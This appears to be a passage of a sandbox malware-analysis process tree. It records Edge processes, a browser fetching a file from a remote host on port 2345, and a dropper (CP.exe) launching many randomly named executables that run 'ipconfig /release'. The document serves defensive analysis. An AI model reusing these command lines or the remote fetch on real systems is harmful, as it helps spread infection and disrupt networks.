      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2620,i,5584413656002905250,6956106807887000831,524288 --field-trial-handle=2432,i,9191648747338347451,6162864272262700364,262144 --variations-seed-version --mojo-platform-channel-handle=2784 /prefetch:13
      4⤵
      PID:1012
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3520,i,5666551528495983312,9521168432557412680,2097152 --field-trial-handle=2432,i,9191648747338347451,6162864272262700364,262144 --variations-seed-version --mojo-platform-channel-handle=3736 /prefetch:1
      4⤵
      PID:3920
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3608,i,11750934499798864309,3738502900288320901,2097152 --field-trial-handle=2432,i,9191648747338347451,6162864272262700364,262144 --variations-seed-version --mojo-platform-channel-handle=3740 /prefetch:1
      4⤵
      PID:5788
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4280,i,1745468900728369084,15559387946452535513,2097152 --field-trial-handle=2432,i,9191648747338347451,6162864272262700364,262144 --variations-seed-version --mojo-platform-channel-handle=4480 /prefetch:9
      4⤵
      PID:5960
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4268,i,15877296013294348971,14321571553558235850,2097152 --field-trial-handle=2432,i,9191648747338347451,6162864272262700364,262144 --variations-seed-version --mojo-platform-channel-handle=4476 /prefetch:1
      4⤵
      PID:1960
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4364,i,17748594633695269422,10962089855016717603,2097152 --field-trial-handle=2432,i,9191648747338347451,6162864272262700364,262144 --variations-seed-version --mojo-platform-channel-handle=4484 /prefetch:1
      4⤵
      PID:5176
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5496,i,8085490713529141565,4983040625869926315,524288 --field-trial-handle=2432,i,9191648747338347451,6162864272262700364,262144 --variations-seed-version --mojo-platform-channel-handle=5508 /prefetch:14
      4⤵
      PID:824
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5484,i,2322898627835233141,11049821788414667779,524288 --field-trial-handle=2432,i,9191648747338347451,6162864272262700364,262144 --variations-seed-version --mojo-platform-channel-handle=5536 /prefetch:14
      4⤵
      PID:6128
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6136,i,7298387940463342369,17362550978982504183,524288 --field-trial-handle=2432,i,9191648747338347451,6162864272262700364,262144 --variations-seed-version --mojo-platform-channel-handle=6216 /prefetch:14
      4⤵
      PID:1408
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6136,i,7298387940463342369,17362550978982504183,524288 --field-trial-handle=2432,i,9191648747338347451,6162864272262700364,262144 --variations-seed-version --mojo-platform-channel-handle=6216 /prefetch:14
      4⤵
      PID:3872
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6356,i,5345008389610086333,13356065296283682610,524288 --field-trial-handle=2432,i,9191648747338347451,6162864272262700364,262144 --variations-seed-version --mojo-platform-channel-handle=6352 /prefetch:14
      4⤵
      PID:2984
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=6392,i,7843266933021338763,228501661017742750,2097152 --field-trial-handle=2432,i,9191648747338347451,6162864272262700364,262144 --variations-seed-version --mojo-platform-channel-handle=6504 /prefetch:1
      4⤵
      PID:1800
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3992,i,1959214207958845588,1435977230881318553,524288 --field-trial-handle=2432,i,9191648747338347451,6162864272262700364,262144 --variations-seed-version --mojo-platform-channel-handle=6440 /prefetch:14
      4⤵
      PID:1480
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6936,i,11363775650898124063,14220867914693705699,524288 --field-trial-handle=2432,i,9191648747338347451,6162864272262700364,262144 --variations-seed-version --mojo-platform-channel-handle=6792 /prefetch:14
      4⤵
      PID:2056
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1416,i,12730431219645496536,13963603950205756889,524288 --field-trial-handle=2432,i,9191648747338347451,6162864272262700364,262144 --variations-seed-version --mojo-platform-channel-handle=1280 /prefetch:14
      4⤵
      PID:2612
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1428,i,16218231008736352990,7956226227693003460,524288 --field-trial-handle=2432,i,9191648747338347451,6162864272262700364,262144 --variations-seed-version --mojo-platform-channel-handle=744 /prefetch:14
      4⤵
      PID:5884
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1436,i,5208688704199132051,10566715834006500896,524288 --field-trial-handle=2432,i,9191648747338347451,6162864272262700364,262144 --variations-seed-version --mojo-platform-channel-handle=5452 /prefetch:14
      4⤵
      PID:2520
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1276,i,3009255490602875655,4671877812899483550,524288 --field-trial-handle=2432,i,9191648747338347451,6162864272262700364,262144 --variations-seed-version --mojo-platform-channel-handle=5636 /prefetch:14
      4⤵
      PID:6028
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6300,i,15108780097840543014,17150066820238799289,524288 --field-trial-handle=2432,i,9191648747338347451,6162864272262700364,262144 --variations-seed-version --mojo-platform-channel-handle=6260 /prefetch:14
      4⤵
      PID:1660
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=932,i,1812556002061342623,6491984351728861848,524288 --field-trial-handle=2432,i,9191648747338347451,6162864272262700364,262144 --variations-seed-version --mojo-platform-channel-handle=3736 /prefetch:14
      4⤵
      PID:3340
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4512,i,11594501392569606583,17058343123061892788,524288 --field-trial-handle=2432,i,9191648747338347451,6162864272262700364,262144 --variations-seed-version --mojo-platform-channel-handle=1436 /prefetch:14
      4⤵
      PID:2336
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=4916,i,4570338384140764046,18072291612530364449,262144 --field-trial-handle=2432,i,9191648747338347451,6162864272262700364,262144 --variations-seed-version --mojo-platform-channel-handle=6192 /prefetch:10
      4⤵
      PID:1072
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3568,i,8923963459450420115,2462988075912661142,524288 --field-trial-handle=2432,i,9191648747338347451,6162864272262700364,262144 --variations-seed-version --mojo-platform-channel-handle=1228 /prefetch:14
      4⤵
      PID:712
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:5816
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/ll/out.txt"
    3⤵
    PID:2304
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\mhfxsmkezu.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5392
- - C:\Temp\mhfxsmkezu.exe
    C:\Temp\mhfxsmkezu.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4852
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2348
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5532
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_mhfxsmkezu.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1184
- - C:\Temp\i_mhfxsmkezu.exe
    C:\Temp\i_mhfxsmkezu.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4228
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\wuomgeywro.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1648
- - C:\Temp\wuomgeywro.exe
    C:\Temp\wuomgeywro.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4848
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4476
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3596
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_wuomgeywro.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3304
- - C:\Temp\i_wuomgeywro.exe
    C:\Temp\i_wuomgeywro.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5284
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ywqomgeywt.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3976
- - C:\Temp\ywqomgeywt.exe
    C:\Temp\ywqomgeywt.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1844
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2984
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4392
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ywqomgeywt.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5812
- - C:\Temp\i_ywqomgeywt.exe
    C:\Temp\i_ywqomgeywt.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4184
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\tqljdbvqoi.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5808
- - C:\Temp\tqljdbvqoi.exe
    C:\Temp\tqljdbvqoi.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3112
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3028
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4364
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_tqljdbvqoi.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3244
- - C:\Temp\i_tqljdbvqoi.exe
    C:\Temp\i_tqljdbvqoi.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5464
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\qlidbvtnlg.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5640
- - C:\Temp\qlidbvtnlg.exe
    C:\Temp\qlidbvtnlg.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5540
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4564
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1768
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_qlidbvtnlg.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1100
- - C:\Temp\i_qlidbvtnlg.exe
    C:\Temp\i_qlidbvtnlg.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5516
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\kigaysqlid.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3740
- - C:\Temp\kigaysqlid.exe
    C:\Temp\kigaysqlid.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5716
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1148
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3912
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_kigaysqlid.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4992
- - C:\Temp\i_kigaysqlid.exe
    C:\Temp\i_kigaysqlid.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5096
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\fcxvpnhfax.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2784
- - C:\Temp\fcxvpnhfax.exe
    C:\Temp\fcxvpnhfax.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4712
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3560
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1300
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_fcxvpnhfax.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2928
- - C:\Temp\i_fcxvpnhfax.exe
    C:\Temp\i_fcxvpnhfax.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3504
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\xupmcxupnk.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5908
- - C:\Temp\xupmcxupnk.exe
    C:\Temp\xupmcxupnk.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1320
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1852
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3056
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_xupmcxupnk.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4448
- - C:\Temp\i_xupmcxupnk.exe
    C:\Temp\i_xupmcxupnk.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1204
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\fzxrpkecwu.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2808
- - C:\Temp\fzxrpkecwu.exe
    C:\Temp\fzxrpkecwu.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5172
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5372
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2088
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_fzxrpkecwu.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:6100
- - C:\Temp\i_fzxrpkecwu.exe
    C:\Temp\i_fzxrpkecwu.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:616
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\bzxromhezx.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2664
- - C:\Temp\bzxromhezx.exe
    C:\Temp\bzxromhezx.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2696
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5024
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3296
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_bzxromhezx.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4788
- - C:\Temp\i_bzxromhezx.exe
    C:\Temp\i_bzxromhezx.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2600
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\jdbwtomgey.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1068
- - C:\Temp\jdbwtomgey.exe
    C:\Temp\jdbwtomgey.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2364
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5092
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1540
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_jdbwtomgey.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:760
- - C:\Temp\i_jdbwtomgey.exe
    C:\Temp\i_jdbwtomgey.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5276
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ywqojgbztr.exe ups_run
  2⤵
  PID:1944
- - C:\Temp\ywqojgbztr.exe
    C:\Temp\ywqojgbztr.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1756
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:5656
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2480
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ywqojgbztr.exe ups_ins
  2⤵
  PID:6140
- - C:\Temp\i_ywqojgbztr.exe
    C:\Temp\i_ywqojgbztr.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2472
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\aywqoigdyv.exe ups_run
  2⤵
  PID:4184
- - C:\Temp\aywqoigdyv.exe
    C:\Temp\aywqoigdyv.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5496
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:2744
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2616
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_aywqoigdyv.exe ups_ins
  2⤵
  PID:1984
- - C:\Temp\i_aywqoigdyv.exe
    C:\Temp\i_aywqoigdyv.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5740
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\dbvtnlfdyv.exe ups_run
  2⤵
  PID:2004
- - C:\Temp\dbvtnlfdyv.exe
    C:\Temp\dbvtnlfdyv.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2524
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4820
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5704
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_dbvtnlfdyv.exe ups_ins
  2⤵
  PID:5936
- - C:\Temp\i_dbvtnlfdyv.exe
    C:\Temp\i_dbvtnlfdyv.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3024
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\aysqkifdau.exe ups_run
  2⤵
  PID:2872
- - C:\Temp\aysqkifdau.exe
    C:\Temp\aysqkifdau.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5048
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:2104
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:704
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_aysqkifdau.exe ups_ins
  2⤵
  PID:3280
- - C:\Temp\i_aysqkifdau.exe
    C:\Temp\i_aysqkifdau.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3452
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\qnifaxvpnk.exe ups_run
  2⤵
  PID:5588
- - C:\Temp\qnifaxvpnk.exe
    C:\Temp\qnifaxvpnk.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1656
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3116
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4104
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_qnifaxvpnk.exe ups_ins
  2⤵
  PID:4228
- - C:\Temp\i_qnifaxvpnk.exe
    C:\Temp\i_qnifaxvpnk.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:200
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\usmkecxupn.exe ups_run
  2⤵
  PID:4988
- - C:\Temp\usmkecxupn.exe
    C:\Temp\usmkecxupn.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5992
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3920
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5884
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_usmkecxupn.exe ups_ins
  2⤵
  PID:5896
- - C:\Temp\i_usmkecxupn.exe
    C:\Temp\i_usmkecxupn.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2992
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\pjhczurmke.exe ups_run
  2⤵
  PID:3868
- - C:\Temp\pjhczurmke.exe
    C:\Temp\pjhczurmke.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2440
